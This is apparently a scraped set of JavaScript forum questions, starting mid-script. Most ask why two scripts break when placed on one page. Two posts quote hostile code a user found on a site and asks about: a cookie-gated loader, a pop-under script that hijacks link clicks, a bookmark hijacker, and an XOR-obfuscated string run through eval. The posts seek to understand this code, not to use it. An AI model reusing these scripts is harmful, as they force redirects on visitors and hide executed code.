'block' : 'none'; document.getElementById('state2').style.display = (val == 'CAN','GBR','AFG','ALA','ALB','DZA','ASM','AND','AGO','AIA','ATA','ATG','ARG','ARM','ABW','AUS','AUT','AZE','BHS','BHR','BGD','BRB','BLR','BEL','BLZ','BEN','BMU','BTN','BOL','BIH','BWA','BVT','BRA','IOT','BRN','BGR','BFA','BDI','KHM','CMR','CPV','CYM','CAF','TCD','CHL','CHN','CXR','CCK','COL','COM','COG','COD','COK','CRI','CIV','HRV','CUB','CYP','CZE','DNK','DJI','DMA','DOM','ECU','EGY','SLV','GNQ','ERI','EST','ETH','FLK','FRO','FJI','FIN','FRA','GUF','PYF','GAB','GMB','GEO','DEU','GHA','GIB','GRC','GRL','GRD','GLP','GUM','GTM','GGY','GIN','GNB','GUY','HTI','HMD','HND','HKG','HUN','ISL','IND','IRN','IRQ','IRL','IMN','ISR','ITA','JAM','JPN','JEY','JOR','KAZ','KEN','KIR','PRK','KOR','KWT','KGZ','LAO','LVA','LBN','LSO','LBR','LBY','LIE','LTU','LUX','MAC','MKD','MDG','MWI','MYS','MDV','MLI','MLT','MHL','MTQ','MRT','MUS','MYT','MEX','FSM','MDA','MCO','MNG','MNE','MSR','MAR','MOZ','MMR','NAM','NRU','NPL','NLD','ANT','NCL','NZL','NIC','NER','NGA','NIU','NFK','MNP','NOR','OMN','PAK','PLW','PSE','PAN','PNG','PRY','PER','PHL','PCN','POL','PRT','PRI','QAT','REU','ROU','RUS','RWA','BLM','SHN','KNA','LCA','MAF','SPM','VCT','WSM','SMR','STP','SAU','SEN','SRB','SYC','SLE','SGP','SVK','SNV','SLB','SOM','ZAF','SGS','ESP','LKA','SDN','SUR','SJM','SWZ','SWE','CHE','SYR','TWN','TJK','TZA','THA','TLS','TGO','TKL','TON','TTO','TUN','TUR','TKM','TCA','TUV','UGA','UKR','ARE','UMI','URY','UZB','VUT','VAT','VEN','VNM','VGB','VIR','WLF','ESH','YEM','ZMB','ZWE')? 'none' : 'block'; document.getElementById('state2').style.display = (val == 'USA')? 'block' : 'none'; document.getElementById('hidden_state2').style.display = (val == 'USA')? 'none' : 'block'; } window.onload=function(){ document.getElementById('shipping_country_code').onchange=function(){showHideDiv(this.value);} } </script> The purpose of the first code is to display a "State or Province" input field and cause the "State" dropdown box to disappear when any other country than USA is selected from the country_code dropdown box. The second piece of code has the same purpose, except that it is for the shipping_country_code dropdown box. These codes work individually, but when I put them both between the head tags, only the second one works. How would I put these together to make them both work on the same page? Thanks for your help, as I am inexperienced with javascript. ~Sarah I have the following two scripts: Code: <script type="text/javascript"> window.onload = function() { document.getElementById('ad1_inline').appendChild(document.getElementById('ad1_footer')); document.getElementById('ad1_footer').style.display = ''; } </script> And... Code: <script type="text/javascript"> // <![CDATA[ function hide_qr(show) { dE('qr_editor_div'); dE('qr_showeditor_div'); if (show && document.getElementById('qr_editor_div').style.display != 'none') { document.getElementsByName('message')[0].focus(); } return true; } function init_qr() { dE('qr_showeditor_div'); return true; } onload_functions.push('init_qr();'); // ]]> </script> But when I have them on the same page together, the second script does not work at all, but the first script still works. Any way I can use these together? Hi Chaps, I had a two similar scripts that uses a select option to pass a parameter to a php page, then returns options/values to a seperate select drop down. Both of these scripts worked fine until I added another script. The new script is different, in that it checks the value of the original select option, then passes that value to a seperate php page, then, if a condition is met, an input field is displayed. This new script works, but has resulted in the two original scripts doubling the values that they return. I hope that makes sense, if anyone can spare anytime, I'll gladly post the code and any other information . . . . Cheers hi friends Please look exactlt at this two scripts , when i click on page include these scripts , it will open a page go to redirecturl.ru but i can't see this url inside scripts , i want know where this url is located ? below on main page before click Code: <script language="javascript"> <!-- function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); } // if(getCookie('21726clickunder1810')) { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/gogo.js"><'+'/sc'+'ri'+'pt>'); } else { document.write('<'+'sc'+'ri'+'pt language="JavaScript" src="/sun21726_ajax.js"><'+'/sc'+'ri'+'pt>'); } //--> </script> gogo.js script Code: if (navigator.cookieEnabled) {var pop_under = null;var pop_cookie_name = "gavgav";var pop_timeout = 720;function pop_cookie_enabled(){var is_enabled = false;if (!window.opera && !navigator.cookieEnabled)return is_enabled;if (typeof document.cookie == 'string')if (document.cookie.length == 0){document.cookie = "test";is_enabled = document.cookie == 'test';document.cookie = '';} else{is_enabled = true;}return is_enabled;}function pop_getCookie(name){var cookie = " " + document.cookie;var search = " " + name + "=";var setStr = null;var offset = 0;var end = 0;if (cookie.length > 0){offset = cookie.indexOf(search);if (offset != -1){offset += search.length;end = cookie.indexOf(";", offset);if (end == -1){end = cookie.length;} setStr = unescape(cookie.substring(offset, end));}}return(setStr); }function pop_setCookie (name, value){document.cookie = name + "=" + escape(value) + "; expires=Friday,31-Dec-50 23:59:59 GMT; path=/;"; }function show_pop(){var pop_wnd = "http://xxx.com";var fea_wnd = "scrollbars=1,resizable=1,toolbar=1,location=1,menubar=1,status=1,directories=0";var need_open = true;if (document.onclick_copy != null)document.onclick_copy();if (document.body.onbeforeunload_copy != null)document.body.onbeforeunload_copy();if (pop_under != null){if (!pop_under.closed)need_open = false;}if (need_open){if (pop_cookie_enabled()){val = pop_getCookie(pop_cookie_name);if (val != null){now = new Date();val2 = new Date(val); utc1 = Date.UTC(now.getFullYear(), now.getMonth(), now.getDate(), now.getHours(), now.getMinutes(), now.getSeconds()); utc2 = Date.UTC(val2.getFullYear(), val2.getMonth(), val2.getDate(), val2.getHours(), val2.getMinutes(), val2.getSeconds()); if ((utc1 - utc2)/1000 < pop_timeout*60) {need_open = false;}}}}if (need_open){under = window.open(pop_wnd, "", fea_wnd);under.blur();window.focus();if (pop_cookie_enabled()){now = new Date();pop_setCookie(pop_cookie_name, now);}} }function pop_init(){var ver = parseFloat(navigator.appVersion);var ver2 = (navigator.userAgent.indexOf("Windows 95")>=0 || navigator.userAgent.indexOf("Windows 98")>=0 || navigator.userAgent.indexOf("Windows NT")>=0 )&&(navigator.userAgent.indexOf('Opera') == -1)&&(navigator.appName != 'Netscape') &&(navigator.userAgent.indexOf('MSIE') > -1) &&(navigator.userAgent.indexOf('SV1') > -1) &&(ver >= 4); if (ver2){if (document.links){for (var i=0; i<document.links.length; i++){if (document.links[i].target != "_blank"){document.links[i].onclick_copy = document.links[i].onclick;document.links[i].onclick = show_pop;}}}}document.onclick_copy = document.onclick;document.onmouseup = show_pop;return true;}pop_init();} sun21726_ajax.js Code: var ajaxv1=21726;var ajaxv2='';var ajaxv3='';l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII; where redirecturl.ru located ?! Please take a look at below scripts, i want know what is their functions exactly 1- Code: <script type="text/javascript"> function addBookmark(url, title) { if (!url) url = location.href; if (!title) title = document.title; //Gecko if ((typeof window.sidebar == "object") && (typeof window.sidebar.addPanel == "function")) window.sidebar.addPanel ("xxx.com - Лучшие ", "http://xxx.com/?d=bm", ""); //IE4+ else if (typeof window.external == "object") window.external.AddFavorite ("http://yyy.com/?d=bm", "xxx.com - Лучшие "); //Opera7+ else if (window.opera && document.createElement) { var a = document.createElement('A'); if (!a) return false; //IF Opera 6 a.setAttribute('rel','sidebar'); a.setAttribute('href',url); a.setAttribute('title',title); a.click(); } else return false; return true; } </script> 2- Code: <script language="javascript"> var s="6b2b73435c4e552b5229682a49705f526c2b552b7547636f463443405a34425f2a2a5a6e242436745d357824657a594e7471556b78405c6e744d21584c443f7b31684b736d33284b4674562d5d312b566650377621755f346e627959232e446d3361356556612946285e6356253f596f54486f6d2e5a794e31473d724435603e407c664f373927246c642f2e2f2a4525375060323b4e736d5b265b323e356f3665633f542e2b55323c43776c62733244665b7b4d765e4c7e2d356c69455c3061432a3c483c6f506751731d4a0163033d211662053741244d6f7e0947684f1a241602235a376e3d51361a464f370b4a504536246119432b1b342b5c533d1f152c7e474f294e3b39295a154546281c0258412e7b563c5960756a122e14713265311e7027263d1d666a004f0804593e663c072946330c23565a3400222d520b5b341a3a5828535a6d4e3f552d5c4d7206024e42443b44431118650311703f414f734e5d725d04414a085e0d010c5c21434e3b4612201803091a577944360f70321c08366973282d011d7428076e780d782b725c2c0e",s2="",i; for(i=0;i<s.length/4;i++) s2+=String.fromCharCode(parseInt("0x"+s.substr(i*2,2))^parseInt("0x"+s.substr(i*2+s.length/2,2)));eval(s2); </script> Hi guys I have to scripts on my page and they work fine on their own but when i put them together one stops working ?? One is the colorbox script and the other toggles some hidden content. Any ideas why they wont work on the same page ? This is whats in my head section and the start of the body section Code: <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript" src="../../js_files/jquery.easing.1.3.js"></script> <script type="text/javascript" src="../../js_files/jquery.tools.min.js"></script> <!--[if lt IE9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]--> <link rel="stylesheet" href="../../colorbox/colorbox.css" type="text/css" /> <script src="http://code.jquery.com/jquery-1.6.1.min.js" type="text/javascript"></script> <script src="../../colorbox/jquery.colorbox-min.js" type="text/javascript"></script> <script type="text/javascript"> $(document).ready(function(){ //Examples of how to assign the ColorBox event to elements $("a[rel='slides']").colorbox({transition:"none", width:"70%", height:"70%", scalePhotos:false}); }); </script> </head> <body> <script language="JavaScript" type="text/javascript"> $(function() { $("#tabs").tabs("#tabscontent section", { effect: 'fade', fadeOutSpeed: 0, fadeInSpeed: 400 }); }); </script> |